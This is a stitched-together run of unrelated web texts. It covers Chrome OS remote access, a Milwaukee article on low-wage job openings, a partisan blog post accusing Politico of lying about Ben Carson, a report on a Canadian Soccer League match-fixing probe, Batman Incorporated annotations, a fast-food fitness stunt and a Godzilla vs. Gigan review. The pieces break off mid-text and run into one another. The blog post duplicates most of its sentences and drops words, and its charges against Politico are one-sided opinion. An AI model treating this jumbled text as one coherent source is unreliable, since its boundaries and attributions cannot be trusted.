Chrome OS isn’t just a browser; there are native apps and various settings for the environment. So remote access can be very beneficial from a tech support standpoint. Perhaps a non-tech savvy person in the family needs help with Chrome OS; the same applies to classrooms where Chromebooks are gaining momentum and even in enterprises that decide a less-expensive thin-client computer is advantageous. It was smart of Google to support remote access to Mac, Windows and Linux computers early on. Now that Chrome OS is being used by more people, it makes sense to bring it into the remote access fold.A cashier helps a customer at Walmart on E. Capitol Drive in Milwaukee. In the U.S. and Wisconsin, cashier is the No. 3 most in-demand occupation, according to U.S. Labor Department data, but like most job openings these days, the position is a low-paying one. Credit: Michael Sears
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In a post-recession world where many once-familiar occupations continue to automate, move offshore or disappear outright, one of the most basic questions remains:
Who's hiring?
It turns out the vast preponderance of job openings these days consists of low-skill, hourly wage work with high turnover.
The current slate of "help wanted" ads overwhelmingly involves cashiers, waitresses and waiters, personal care aides, janitors, those who stock store shelves, and the likes of Hardee's and Taco Bell.
It's as true in Wisconsin as in the nation as a whole: Of the top 10 "Occupations with the Most Openings," nine fall into government-designated wage categories of "very low" and "low," according to data from the U.S. Department of Labor.
The proliferation of bottom-rung openings casts a light on an epidemic transformation within the national economy, one that has been accompanied by a long-term contraction of middle-skill occupations that often pay family-supporting wages.
"Workers in many types of middle-rank positions — such as skilled production-line workers and people in clerical or administrative jobs — have had to migrate into jobs as food-service workers, home health-care aides, child-care employees and security guards," according to a study by David Autor, economics professor at the Massachusetts Institute of Technology.
Autor describes this concentration of Americans into low-skill jobs as the "polarization" of the U.S. labor market.
High-skill, high-pay workers, who are essential in a tech-driven economy, have seen a growing share of opportunities, his research shows. In a trend that gathered pace in the 1980s and '90s, however, the low end of the economy has broadened outward like a pyramid with a disproportionately wide base.
"This is not an overall improvement in job quality," Autor said. "The problem with many of these jobs is they require fairly generic skill sets, which means workers have limited negotiating power and are fairly interchangeable. These are not, in general, attractive jobs."
The question of who's hiring takes on even greater urgency in a slow-growth jobs state like Wisconsin, which has lagged the national pace of job creation by about half throughout much of the past decade and continued to slow in the latest count.
The statistical snapshots of the most in-demand jobs, however, aren't well known. Surprisingly few experts study the perennially practical question of where actual jobs can be found, particularly compared with the armies of analysts who react furiously to every backward-looking unemployment index.
The Labor Department's rankings of job openings don't garner much attention because the agency doesn't include them in its Bureau of Labor Statistics database, where postings often trigger wild swings in world stock markets. Instead, the Labor Department hosts it in-demand jobs on a site called CareerOneStop.org (click on "Explore Careers," then hunt for the "What's hot" tab).
Deeply entrenched
What's remarkable about the rankings is how deeply the low-wage sector — once seen as temporary and transitional — has entrenched itself in the world of work.
According to the Labor Department, the No. 1 employment opportunity in both Wisconsin and the U.S. as a whole is for retail salespeople.
In Wisconsin, median pay in the sector comes to $9.78 an hour or about $20,300 per year, assuming a 40-hour workweek at 52 weeks per year. That falls into the "very low" wage quartile, using Labor Department ratings. Typical retail work requires "less than high school" education.
Retail jobs may not always pay well, but there are plenty of them: Nearly 200,000 open up on average each year in the U.S., with over 3,000 of them in Wisconsin.
Fast-food workers are the second most in-demand occupation in both the nation and the state ($8.67 an hour median in Wisconsin, or about $18,000 a year). Coming in third are cashiers ($8.89, or $18,500). The No. 4 employment opportunity is for waiters and waitresses ($8.66 an hour, also about $18,000).
For the U.S. and Wisconsin, the most abundant job openings overlap almost identically. Not until the No. 7 rank in Wisconsin (No. 5 nationally) do the top 10 openings include a family-supporting occupation: registered nurses. Median pay for nurses in the state comes to $30.41 an hour, or $63,300 a year.
No matter how one dissects the data, the results are similar. Idaho-based Economic Modeling Specialists International, which also creates rankings of in-demand jobs, updates its database every quarter using more than 90 sources. Its findings virtually match those of the Labor Department regarding the most in-demand occupations: fast food, retail sales, cashiers, waiters and waitresses, and customer service representatives.
The data confirm that the nation has undergone a wholesale transformation. According to other Labor Department figures, manufacturing was the nation's largest employment sector until the turn of the millennium, often with wages sufficient to pay for college tuition and retirement.
Since 2000, however, three largely consumer-driven sectors successively have displaced manufacturing as the nation's largest employers: retailers; hospitality, which includes restaurants and hotels; and a combined sector called health care and social services. The United States has morphed from a nation that made things into a nation that consumes them, making the strip mall a new symbol of the American economy.
Turning point
MIT's Autor traces the turning point back to 1980: The share of U.S. labor hours in the low-end service sector was flat or declining in the three decades before 1980, but it increased 30% from 1980 to 2005.
"That growth has not been enough to accommodate all the displaced workers from other industries, but it clearly is where some job-seekers have wound up," Autor concluded in one of his studies. As an example, he cites machine operators and assemblers, who saw their share of U.S. working hours fall by more than half — from 9.9% in 1980 to 4.6% in 2005.
The profusion of low-wage jobs also raises the question of the sort of existence they support.
"Two parents in one of those low or very low occupations, and both working full time, won't make it," said Elise Gould, the chief labor economist at the left-leaning Economic Policy Institute.
The organization's website, www.epi.org, includes a Family Budget Calculator that can be configured to any of six family types (one or two adults, and one to three children), and adjusts to the cost of living in 615 metropolitan areas. In metro Milwaukee, a household with two adults and one child would need a combined yearly income of $61,000 before taxes to scrape by — the equivalent of three typical full-time, low-end jobs.
The calculator includes costs of meals, transportation, health care, taxes and child care. Because it does not account for any savings for retirement or college, however, Gould said its costs fall short of what would be considered middle class.
What's more, many working households with low-end jobs would be eligible for some form of government assistance, such as food stamps or Medicaid, said Thomas Corbett, senior scientist emeritus at the Institute for Research on Poverty in Madison. "Many of these jobs will hover around the poverty line for small families," Corbett said.
The existence of so-called McJobs, of course, is decades old. They've been in the news lately with strikes by fast-food workers that began sweeping the United States last year.
Wal-Mart Stores Inc., which to many symbolizes the low-end sector, this year announced plans to raise hourly wages following years of public pressure and criticism. Starting this weekend, the company is increasing its starting hourly rate to at least $9, so it's at least $1.75 above federal minimum wage. In February 2016, that moves to at least $10 an hour. Nationally, a half-million current Walmart employees will get raises, including 11,629 in Wisconsin, according to a spokesman.
Factors for rankings
At the Labor Department, officials have developed complex models to predict annual demand for occupations. The figures on CareerOneStop.org are updated every two years, meaning the estimates do not reflect an exact real-time tally of openings. To create its rankings, the Labor Department culls data from each state as well as the Bureau of Labor Statistics. High turnover, which leads to more openings, is among the factors in the rankings, said Jason Kuruvilla, a spokesman at the Labor Department.
The estimates include hourly and annual wage levels for each occupation in each state — an average cashier grosses $18,500 a year in Wisconsin but $20,600 in California, for example.
CareerOneStop.org also breaks out occupations according to levels of education. Pay rises quickly for those with a two-year or four-year degree — although the estimated volume of openings for higher-paying occupations dwindles rapidly in comparison to low-end sectors.
For those with a four-year degree, the occupation with the most openings is general operations manager (median pay in Wisconsin: $41.38 an hour, $86,100 a year). An estimated 900 such positions open per year in the Badger State, compared with about 3,000 each for sectors such as retail sales, fast food and cashiers. By the time one gets to the No. 4 in-demand job that requires a four-year degree — computer systems analysts — only 440 openings are estimated per year in the state.
The site also ranks the "fastest growing occupations." Those show high growth, but often off a low base. The nation's leading high-growth occupation is called "industrial-organizational psychologist," which requires a master's degree and pays $80,300 a year. Those openings are projected to grow over 50% by 2022, albeit with only 1,600 positions opening per year nationally.
The No. 2 and No. 3 fastest-growing occupations are "personal care aides" ($20,100 a year, requiring less than high school education), followed by "home health aides" ($21,000 a year; less than high school education).
At the other end of the spectrum are what the Labor Department calls "occupations with declining employment."
Many of the fast-disappearing jobs pay well, but the list evokes nostalgia for an earlier age: data entry workers, meter readers, travel agents, typists, loggers, locomotive firers, motion picture projectionists, reporters and correspondents, and multiple categories of postal workers.
Economists at the Wisconsin Department of Workforce Development, which works with the Labor Department to maintain the data, say they have confidence in the numbers and projections.
Even so, the Wisconsin workforce agency later this year will introduce a job openings database that operates in real time. Boston-based Burning Glass Technologies is developing the system, which will comb the Internet for current job postings.Politico Takes Its First Walkback Step in Ben Carson Hitpiece; Now Admits Fabricated Lie That Ben Carson "Admitted Fabrication" About West Point The original Politico headline and lede claimed Carson's campaign "admitted" Carson "fabricated" the West Point story. In fact, the campaign didn't; the campaign clarified, and rebutted the interpretations Politico was forcing on Carson's words. Such as, when Carson says he was "offered" admission, that means he was formally offered (as opposed to a high-ranking army official suggesting he could and should get in), or that when he says he was "offered" this, he actually applied to West Point. In fact, the campaign didn't; the campaign clarified, and rebutted the interpretations Politico was forcing on Carson's words. Such as, when Carson says he was "offered" admission, that means he was formally offered (as opposed to a high-ranking army official suggesting he could and should get in), or that when he says he was "offered" this, he actuallyto West Point. On that last point, Carson's own Gifted Hands -- the book that Politico claims contains this "central" claim about West Point -- makes plain that Carson only had the money to apply to one school. (Which I assume was Johns Hopkins). On that last point, Carson's own-- the book that Politico claims contains this "central" claim about West Point -- makes plain that Carson only had the money to apply to one school. (Which I assume was Johns Hopkins). As I mentioned earlier, the autobiography itself states he didn't apply to West Point (and so could not have been accepted); so how can Politico claim that Carson lied about this in the book? As I mentioned earlier, the autobiography itself states he didn't apply to West Point (and so could not have been accepted); so how can Politico claim that Carson lied about this in the book? In Gifted Hands, Carson notes that he only had the $ to apply to one school. IE, he never applied to West Point. pic.twitter.com/XWhRThgRzW — daveweigel (@daveweigel) November 6, 2015
With the story crumbling around them, they are now at least retracting -- without admitting the retraction, of course -- the lie that the Carson campaign "admited" "fabricating" the story. With the story crumbling around them, they are now at least retracting -- without admitting the retraction, of course -- the lie that the Carson campaign "admited" "fabricating" the story.
Politico changes headline and lede on Ben Carson piece � removes line that his campaign admitted to "fabrication" pic.twitter.com/9LIyT8QCvE — Alex Pappas (@AlexPappas) November 6, 2015
Note: Politico just altered the headline and lede to remove the bombshell claims about Carson. Doesn't note that it made the changes. — Gabriel Malor (@gabrielmalor) November 6, 2015
Want to hear something funny? I wrote the sentence that they had not admitted their retraction before I checked the article. I assumed they had not noted it; I intended to check up on that after I got done drafting the post. Want to hear something funny? I wrote the sentence that they had not admitted their retraction before I checked the article. I assumed they had not noted it; I intended to check up on that after I got done drafting the post. So I assumed they would be craven liars. High-risk bet, huh? And, now re-reading their new and improved piece, no, they do not confess that they had initially gotten the story wrong. So I assumed they would be craven liars. High-risk bet, huh? And, now re-reading their new and improved piece, no, they do not confess that they had initially gotten the story wrong. But you know -- Ben Carson is a liar for allegedly getting a few minor details about this 30 year old event wrong. But you know -- Ben Carson is a liar for allegedly getting a few minor details about this 30 year old event wrong. BTW, I screwed up and enstompenated Gabe's BTW, I screwed up and enstompenated Gabe's very useful Gabe-o-Fact Check on Politico's piece. Check it out. Posted by: Ace at 04:19 PM
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The RCMP has opened an investigation into allegations of widespread match fixing in the Canadian Soccer League, a semi-pro league that has come under international scrutiny in recent months, TSN has learned.
The RCMP contacted potential witnesses in the case last week, according to a person familiar with the matter. CSL spokesman Stan Adamson confirmed in an interview Tuesday that the RCMP informed him within the past few weeks about their plans for an investigation.
In October, the London, U.K.-based Telegraph newspaper cited a confidential report produced by the International Centre for Sport Security (ICSS) that alleged half of the CSL’s games in 2015 showed signs of suspicious betting patterns.
“The CSL has become a type of ‘rogue league’ that has not been seen before,” the ICSS report stated, according to The Telegraph.
RCMP spokesman Sgt. Harold Pfleiderer declined to comment.
“Only in the event that an investigation results in the laying of criminal charges would the RCMP confirm its investigation, the nature of any charges laid, and the identity of the individual(s) involved,” Pfleiderer wrote in an emailed statement.
CSL executive Pino Jazbec said the league contacted the RCMP and Interpol last October to ask whether law enforcement was investigating the league and its players.
The CSL in January completed its own investigation into allegations of match fixing and found no evidence that games were rigged, Jazbec said.
The league paid special attention to an Oct. 4, 2015, match between Niagara United and SC Waterloo in which three Niagara players were expelled with red cards from the game, and a Waterloo player had a clear chance to score a few feet away from the goal line, but instead shot the ball wide.
The game finished in a 2-2 tie.
“There were players on both sides who believed the other side was up to funny things,” Adamson said.
The CSL in 2016 will ensure all of its matches are taped; a move Adamson said would help catch any suspicious playing sequences that might suggest match fixing. He said the league would also have so-called match observers, probably retired referees, attend every game to monitor suspected match fixing.
The Canadian Soccer League is a 12-team league with franchises spread throughout Ontario. Teams include Toronto Atomic, Niagara and Waterloo. For the most part, clubs feature former university-level players, many of whom are not paid to play in the CSL, and former professionals who played in low-level European leagues.
The CSL has been forced to navigate such a scandal before. Ante Sapina, a convicted match fixer accused of rigging more than 300 games, paying off players and referees to throw games, admitted to fixing a CSL game in 2009. The Canadian Soccer Association, the official governing body for soccer in the country, subsequently decertified the CSL, meaning the league has been unsanctioned ever since.
A CSA spokeswoman did not reply to an email requesting comment.
Bill Sword, a lead investigator with the Ontario Provincial Police who oversaw wiretaps in the 2009 investigation, said no charges were laid at the time because those people who were believed to be arranging the match fixing were based overseas.
That meant a defence lawyer could argue that the crime did not occur in Canada, said Sword, who is now retired.
It’s still possible that fraud charges might be laid against CSL players if they are found to have thrown matches.
“It’s not easy in Canada because we don’t have specific match-fixing laws like they do in the U.K. and Australia,” said Paul Burns, a spokesman with the Canadian Gaming Association.
The ICSS alerted the RCMP in June 2015 about its suspicions and when there were no immediate arrests, ICSS official Chris Eaton was quick to attack Canadian police.
“They see it as being a low priority, with no victims,” Eaton told The Telegraph. "Of course, what they are not seeing – which may be understandable – is the impact globally and the impact on the credibility of the sport.”
CSL president Vincent Ursini told The Telegraph he hoped his league’s games would be removed from betting markets, a wish echoed by Jazbec.
It’s not easy to grasp why bettors would be interested in the CSL, and how match fixers would profit off the league. Burns said many gamblers overseas are attracted to CSL games because they are among the few soccer games being played during the summer.
Also, there’s a common misperception about the league’s quality of play.
“People oversees believe that the CSL is a Canadian equivalent of the English Premiership, the best soccer league in the country, when of course it’s not,” Burns said
Burns said that when games are fixed, the betting houses are the ones who lose money.
“If the money being bet overall on the CSL is enough, the betting houses might not notice or mind losses [from match fixing] enough to stop providing betting lines for CSL games,” Burns said.
In an investigation into match fixing in tennis that aired this week on the Australian Broadcasting Corp., Australian police said betting houses in Southeast Asia accept bets of $2 billion every week. Unregulated betting markets account for as much as $3 trillion dollars annually.After a long hiatus, we're back with more detailed annotations of Grant Morrison's epic Batman Incorporated! In this installment, we'll take a look at #7 and #8, the former a Western adventure featuring Chief Man-of-Bats and Raven Red, and the later a high-tech videogame-inspired digital romp featuring Oracle.
Batman Incorporated #7 (Grant Morrison & Chris Burnham): "Medicine Soldiers"
Page 1 : Man-of-Bats and Raven Red are wandering around distributing medicine and checking on people in their community. The activist guy in the Superman shirt -- I'm not sure if that detail is from the script or was thrown in by Burnham, but given he rescues Man-of-Bats near the end of the issue, it's tempting to see him as the other half of a kind of Reservation's Finest. Man-of-Bats stated he was Sioux in his first appearance back in Batman #86; that area today would be related to the Republic of Lakota and Russell Means (whose activism might have been a bit of an inspiration for this story).
Page 2 : We last saw Man-of-Bats and Raven Red for a few pages in Batman #681, when they came with the rest of the Club of Heroes to help bail out Robin from the Black Glove and the Club of Villains, back at the end of "R.I.P." Their only other appearance in the run previous to that was in the Black Glove arc on Mayhew's island in #667-669.
Page 3 : After kicking down the door to Lucy's derelict house, they find she's overdosed on heroin and left a suicide note as well as her son (watching Go Go Gophers). Morrison's going out of his way to develop Man-of-Bats as a more populist hero than Batman, and certainly far more actively community-minded. The fact that his identity isn't secret probably helps with that -- although, as we'll see, that has other consequences.
Page 4 : Here, we're introduced to Man-of-Bats's alter ego, Doctor Bill Great Eagle. He was simply "Great Eagle" in his original appearance back in #86, with Raven Red being "Little Eagle"; this has apparently been retconned to a last name for authenticity. This fits with his established characterization as a doctor, including when he surgically removed the bomb from the Knight in Batman #669; back in #667, his son chided him for his behavior when drinking, so it's interesting he'd be protesting against the liquor trade. The new head of the hospital is making vague threats at Bill Great Eagle, and it's likely he, like the cop later, is an agent of Leviathan.
Page 5 : Man-of-Bats and Raven Red hit up the local casino so Man-of-Bats can yell at Sam Black Elk, the son of the original Black Elk who Man-of-Bats and Batman teamed up to fight way back in #86.
Page 6 : Where did Sam Black Elk come home from? Most likely, a Leviathan training and indoctrination camp. Man-of-Bats picks a fight, presumably to make a point to his son.
Page 7 : Not much to annotate here, but for the sake of completeness, Man-of-Bats punches Black Elk out and Raven Red gets the hell out of Dodge.
Page 8 : Man-of-Bats finds the Leviathan mind control wavers on Black Elk's body and thinks they're standard drugs, while the cops come in.
Page 9 : I can't help but feel that there's a certain significance to Leviathan's mind control wafers tasting like spearmint. Their indoctrination is candy-coated, likely as yet another middle finger to Batman, but we'll get to that when we reach the big villain reveal.
Page 10 : Raven Red arrives back at the Bat's Cave -- where, in a great detail, Man-of-Bats is selling tours raise money for his people -- and declares his intention to quit to nobody in particular...
Page 11 :...except Batman is watching. Burnham's depiction of the Bat's Cave as a budget Batcave is really well-done, especially the wooden nickel in the place of Batman's giant penny. The ghost shirt is an actual Lakota legend ; it doesn't seem to have played any part in any previous Batman stories. Back in 1998, the Lakota actually did retrieve a ghost shirt from a museum in Scotland; with Morrison living in the area at the time, it's likely this is where he got the idea.
Page 12 : The new cop who replaced Man-of-Bats's friend Joe Standing Horse is revealed to be a Leviathan agent; we also discover that at some point, Black Elk discovered and publicly revealed Bill Great Eagle's identity. It's worth noting that back in Batman #86, Black Elk's general plan was to wound Bill in the shoulder and then see if Man-of-Bats had a wounded shoulder as well to prove his identity. To foil Black Elk's trap, Batman and Robin dressed up in redface (no, really) and pretended to be Man-of-Bats and the then-Little Raven, who's apparently been aging slower than Dick Grayson.
Page 13 : Sam Black Elk goes absolutely crazy, stabbing Man-of-Bats in the stomach and being a hypeman for Leviathan. "Everywhere the standard of the bat rises, it will be chopped down" will be used, with various variants, quite a few times in the series coming up; it definitely seems to be a central tenet of Leviathan's programming.
Pages 14-18 : The car stops and they bring out Man-of-Bats, who's holding Black Elk hostage. He vows to put them all in full-body casts before going down, but is saved by Batman and Raven, who gallop in on horseback. Man-of-Bats dives in front of a bullet to save his son, who also gets shot while tending to his father, except he's still wearing the bulletproof ghost shirt, which turns out to actually be bulletproof. Sam Black Elk is then taken out by a mob of townspeople -- led by the guy in the Superman shirt -- who come to Bill's aid.
We get a lot more insight into Man-of-Bats's past in this scene after he's shot, as well -- he was apparently in Iraq, which would explain how he got his training (and also really confuses the timeline since he was a member of the Club of Heroes with the original Knight, who we saw in the Falklands, but who cares?).
Finally, one last comment about the relationship between Bill and Charlie. Given Morrison's own father's activism and the way it affected his home life (as explored fairly thoroughly in Supergods ), it's difficult to ignore the idea that those experiences were a major influence on the way Morrison wrote the relationship between these two characters -- one which, in the end, is still very loving, and ends in reconciliation.
Pages 19-20 : Bill is saved with a blood transfusion from his son, who then chitchats with Batman about the encroaching Leviathan infiltration of the area. Batman reveals that the wafers from earlier were a Leviathan mind control agent, which is the first time we've discovered that Leviathan's mind control is chemical as well as psychological.
Batman Incorporated #8 (Grant Morrison & Scott Clark): "Nightmares in Numberland"
Wish me luck. And I'm going to try to forget I have a computer science degree.
Page 1 : On this first page we're introduced to Bruce Wayne's Internet 3.0, which we first saw teased way back in the Batman: The Return oneshot. Internet 3.0, it turns out, is just Second Life mixed with a virtual reality component. I have no idea how they got there, or how. We don't see anyone wearing a headset or anything. We know Batman constructed it, and he shows off how real it all is, but why he made it? No idea.
Page 2 : The virtual meeting is attacked by a SWAT team of computer virus zombies, and I've got to tell you, if I had a nickel for every time that happened on GoToMeeting...
Page 3 : Technically, Internet 3.0 access wouldn't come with antiviral software "installed"; the antiviral software would actually live in Internet 3.0. Especially when that antivirus software is one person...
Page 4 : Barbara Gordon, Oracle, in her last ride.
Pages 5-7 : Oracle and Batman beat up some computer worm zombies, who claim to be made up of "dead numbers." Bruce is noticeably distracted, and unlike Oracle, he isn't able to maintain multiple avatars at once. The fact that the worms are reciting bits from Chun Wei's deleted poems would imply that they're made up of deleted data, the necrotic tissue of the Internet, which fits the zombie look.
Page 8 : Bruce and Oracle touch base on the nature of the enemy, and the fact that one of the investors must have purposely brought the virus through Oracle's firewall. She teases Batgirl's upcoming adventure at the finishing school, as well as notes the recurring themes of mazes, nets and webs, all of which point back to the sinister mastermind Doctor Dedalus, a.k.a. Otto Netz, and his daughter Kathy Webb/Kane.
Pages 9-13 : The investors run down the hallway and run into the virus's mutation engine, which replaces the host program's code with its own. Batman attacks it while Dr. Solomon runs away due to his claustrophobia and asthma -- or attempts to. He falls into an elevator shaft, and Batman respawns to catch him, apparently curing him of both of his ailments.
Pages 14-15 : At this point the mutation engine decides to modify the code of the users' avatars, meting out ironic punishments Spectre-style by transforming Belle Bourgeois into a bitch (literally, a dog) whom Mr. Velocet immedialy falls in love with, and Chun Wei into a macroencephelactic. Wei comes up with the idea that the virus is actually the old Internet fighting back against its successor, which is the closest this issue comes to lining up with the theme of warring parents and children that's made up the vast bulk of Incorporated.
Page 16 : The trojan horse who brought the virus into the network is revealed to be Mr. Tanaka, who made his fortune with a videogame called "Judgment in Hell City 666."
Pages 17-18 : Everything goes straight-up Tron as everyone gets power armor and zombies attack and they have to make it to the roof of the building and then they do and somehow this lets Oracle quarantine the virus. Also, Tanaka's basically revealed to be a Leviathan agent, paraphrasing Sam Black Elk with "wherever the standard of the bat rises, it will be torn down."
Page 19 : Here we get the big reveal: Oracle's found out that Leviathan started out in Mtamba, the same country Batwing was investigating. Here, though, we find out that Mtamba was actually the name of Jezebel Jet's home country -- a fact which was not mentioned at all in any issue previous to this in Morrison's run. At this point, Batman and Oracle believe she's behind Leviathan, although we know better from future issues.
Page 20 : And all's well that ends well with the investors, who apparently had a great time nearly funding an international terrorist organizaton.
Buy Batman Inc #7 and 8 online or at your local comic shop.
Links to my other annotations :
- Batman: The Return ; Batman, Inc. #1, #2, #3, #4, #5, #6
- Return of Bruce Wayne #1, #2, #3, #4, #5, #6 ; Batman #700, #701, #702 ; Batman and Robin #14, #15, #16
- original Batman run and previous issues of Batman and RobinGETTING in shape on a fast food diet sounds like a madcap idea dreamed up by a clown called Ronald to sell more burgers.
It is no secret salt-laden fatty food does nothing for a trimmer waistline, particularly when that’s all you are eating for a month.
But after a 34-year-old Edinburgh man defied logic by losing almost a third of his body fat living on McDonald’s, statistics fly in the face of the old saying “you are what you eat”.
In a bizarre twist on the US documentary of Super Size Me, Kai Sedgwick set himself an unusual challenge – to see if it was possible to live on fast food for a month while getting in shape.
“You may think he’s a few fries short of a Happy Meal but his results speak for themselves.
Through an intensive fitness regime the freelance writer managed to pack on 2.7 kilograms of lean muscle, while his body fat plunged from 15.1 per cent to 11 per cent to reveal washboard abs.
Kai, of Marchmont, said: “My body is now stronger, and my fitness has improved. But at the same time, I’ve eaten an insane amount of chemicals, additives, salt and sugar.
“I’m going to be eating as healthily as I can from now on. Hopefully my body will have recovered from the shock after a couple of weeks of eating clean.”
There were several times when the fitness novice feared he had bitten off more than he could chew with his challenge, suffering from exhaustion and irritability.
“At times I felt exhausted and had to nap through the day. I think the best barometer was how often I shouted at the cat. I will never eat another Big Mac or quarter pounder as long as I live, though I may pop in for a McFlurry, and the wraps aren’t too bad.”
Nutrition consultant Dr Chris Fenn, who warned him of the risks of intense exercise and eating the wrong foods, will now advise him on the second phase of his challenge.
This will seem him training as before but this time eating a healthy diet.
Chris said: “His training will be so much more productive and effective now he is fuelling his body properly.”
To understand more about the McWorkout and to follow his progress visit EdUncovered.com. Kai, who trained at PureGym, hopes his experiment prompts people to give some thought to what they are eating.
But he also wanted to show that people could also enjoy the occasional pizza or burger and still keep in shape.
“I was also trying to show that it is possible to improve your lifestyle or health and not give up all the things you like,” he said.
The diet by the numbers
DURING his McWorkout, Kai consumed 99 McDonald’s meals, including 50 burgers and breakfast rolls, 27 portions of fries or hash browns, 45 wraps, and 52 coffees.
This was equal to 272g of sodium (160 per cent of the recommended daily amount). |
ZILLA back catalogue.
Director: Jun Fukuda
Starring: Hiroshi Ishikawa, Yuriko Hishimi, Minoru Takashima, Tomoko Umeda, Toshiaki Nishizawa, Zan Fujita, Kunio Murai, Haruo Nakajima
Plot: A Manga artist finds work at a new theme park called Children’s Land. But why is everybody so suspect? And what is their connection with the monsters of the world?
GODZILLA VS. HEDORAH wasn’t everyone’s favourite Godzilla film. I sure loved it, but those that mattered, namely producer Tomoyuki Tanaka (who was hospitalised at the time of that film’s release) did not. Therefore with Yoshimitsu Banno vanquished from the world of Godzilla (until the upcoming reboot that is), Jun Fukuda was drafted back in after his successful turns with EBIRAH, HORROR OF THE DEEP and SON OF GODZILLA. Gone was the darkness and bizarre tone that Banno introduced, and it was time to reinsert some of that bright colour and whimsy that the younglings adored.
Although this doesn’t sound like a great start, GODZILLA VS. GIGAN never sinks to the depths of ALL MONSTERS ATTACK. It does involve a place called Children’s Land, and reintroduces the ideas of aliens, but it also manages to have some darker moments. Before it came to be, the sequel to GODZILLA VS. HEDORAH went through a number of drafts and changes. A sequel involving Hedorah was planned at one point, but talk quickly moved to getting back to aliens. A more ambitious tale involving many new monsters was planned, but budget concerns resulted in a change to just Gigan making his debut. Megalon would have to wait. It was also decided to include Anguirus, as he had had a new costume constructed just 4 years previously, whereas original choices Rodan and Varan would have required some work. The budget cuts also lead to the entire score being comprised of previously composed and recorded work of Akira Ifukube. That’s never a bad thing, and I’m always impressed with how money is saved.
The first shot is of Godzilla looking mighty fierce and releasing his atomic breath directly at the camera. It’s a fitting way to begin GODZILLA VS. GIGAN as this would be Haruo Nakajima’s last time portraying Godzilla. Not just anybody could fill this role, despite many who would declare it’s just a guy in a suit. Size and strength was everything throughout the series, with short but strong people needed to fit and carry the hefty costumes. As the credits roll, we pan across a number of high-tech instruments, announcing the return of the more science-fictiony elements. We are then treated to some comic panels with added sound, thus indicating the profession of our latest protagonist. Ishikawa plays Gengo Kotaka, a manga artist looking to create a new monster. The inclusion of this profession shows the Godzilla franchise trying to remain fresh, and although aliens return, the more creative protagonist is a nice change from scientists and soldiers. Gengo’s recent creation of a homework monster doesn’t impress his publishers too much and so he looks for a new job at Children’s Land as a concept artist.
Children’s Land is a recently opened theme park which caters to the history of Earth’s monsters. With the HQ situated in a Godzilla shaped tower, it shows that monsters have become a huge part of this world. Things smell a bit off from the outset though, with Gengo’s new boss announcing that the theme park’s goal is “Absolute peace”. I can’t even imagine Disney setting their sights so high. The inclusion of Children’s Land brings back a wider colour palette, which in turn makes it feel a lot more jovial. With Fukuda directing, his dominant colours of choice, orange and yellow, make a return, most noticeably in the deceptively approachable attire of the Children’s Land employees. As some talk turns to the existence of monsters on Monster Island, there is some stock footage, and there are parts where stock footage is used later on. Thankfully, it is mostly used as filler and is never used to forward the plot, although the change in costumes of Godzilla is distracting.
Upon returning to Children’s Land for his first day at work, Gengo bumps into a woman who drops a recording. Instinctively knowing that this woman is a good guy, or maybe just succumbing to his libido, Gengo sends the Children’s Land guards in the wrong direction and pockets the recording himself. This introduces elements of corporate paranoia which is enhanced by wonderful production design. The phones are see-through and the doors slide, and unfortunately the film is about as subtle as Godzilla himself. It’s obvious The Chairman and his lackeys are in fact aliens, and I say “unfortunate” because the film tries to set it up as a mystery. Later on, Gengo attempts to investigate the people behind Children’s Land and discovers that they died a long time ago. Had it not been so obvious, this would have been an interesting plot strand. As it stands though, it’s more of an exposition filled ramble that doesn’t add anything to the plot, with the idea of taking on bodies of the deceased quickly dispensed with and forgotten about.
Gengo soon finds himself accosted by the woman he bumped into earlier. Machiko (Umeda) as she’s known, and her weird hippy sidekick Shosaku (Takashima), ask for the recording to be returned, but Gengo faints believing the cob of corn pressed against his back is actually a gun. It shows the return of broader comedy, but works well thanks to the hammy yet not overblown performances. Here we discover that Tomoko has a missing brother who went to work for Children’s Land. The final member of the goup is introduced later on, just as some heavies come to retrieve the recording, Gengo’s martial arts experienced sister, Tomoko (Hishima), returns home and busts some balls. Together the foursome make quite the team, and a powerful female character shows that the feminist movement was in full swing, even in the world of kaiju. It also means we get a rather diverse band of protagonists that seem as though they have drawn inspiration from many investigative groups including Scooby Doo and The Famous Five.
The investigation that follows is rather pointless, as mentioned earlier, but it does show that Fukuda isn’t averse to using handheld camerawork. It’s nothing on the scale of Paul Greengrass, but it does stand out in a franchise where shots are usually static. The gang decide to play the recording, which is heard by the monsters on Monster Island, most notably Anguirus and Godzilla, whose costumes look better than ever. They both seem to have a lot more texture than before, and any hint of rubberyness is only noticeable during the joints as the monsters move. Godzilla sends Anguirus to investigate the strange noise, which is communicated in monster speak unless you’re watching the hilarious dub (see below for more details on that). As the aliens reveal themselves to be cockroach type aliens from Space Hunter Nebula M, the humans see Anguirus’ approach as a hostile act. Although probably stock footage itself, for the first time we get to see REAL tanks. Of course, they’re replaced with models during the extensive battle scenes, but seeing some real artillery with real people operating them does add realism to the battle sequences. Anguirus truly looks believable, however his movements as a quadruped still betray the fact it’s a man on all fours. That’s just not as easy to conceal as his two-legged counterparts.
Anguirus is attacked by the military and returns to Monster Island to report to Godzilla before he can even step on land. Our intrepid heroes go to the police to warn them of the goings on at Children’s Land, but in traditional cinematic style they aren’t believed. So it’s up to our heroes to rescue Machiko’s brother, Takashi (Murai), and stop the plan of these evil cockroaches. We know they’re cockroaches because their shadows give them away. I’m not quite sure how this reveal works scientifically, but it’s a cool and cheap visual effect. The human’s plan is filled with a lot of fun espionage including zip-wires and Tomoko’s hard hitting fists. Meanwhile Godzilla and Anguirus are met by two alien monsters, the ever reliable King Ghidorah (who happens to be alive because DESTROY ALL MONSTERS was set in the distant future of 1999) and a new monster, Gigan. Gigan is the weirdest looking kaiju in the Godzilla universe to date. Half machine and half alien chicken, it definitely appears as though this is a monster that’s been purposefully created for killing. After all, he has no wings nor hands, just powerful blades as appendages. The battle between the four monsters is dark and epic. Blood is even drawn, showing Godzilla as a more vulnerable monster and Gigan as a relentless and dangerous beast.However, when Godzilla and Ghidorah battle alone, sometimes it’s footage we’ve seen before. There’s also a lack of human interaction, with no running civilians, no cars driving around etc. The battle areas look empty, which makes the buildings look more like the models they actually are.
GODZILLA VS. GIGAN is a fun return to the formula that Toho was trying to get into place before the last two efforts. It gives us everything that was great about the films at the time, and aims for all audiences with its fun style but refusal to cater for the extremely young audience. The final battle is so epic, with billowing flames surrounding everything, that you forget about the human element. This is one of the worst beatings Godzilla has ever received, but rather than plotting out his comeback with a satisfactory explanation, he’s suddenly just strong again. This certainly features everything that the Showa era Godzilla films came to represent, and although the budget cutting is often noticeable, it’s also a very fun entry.
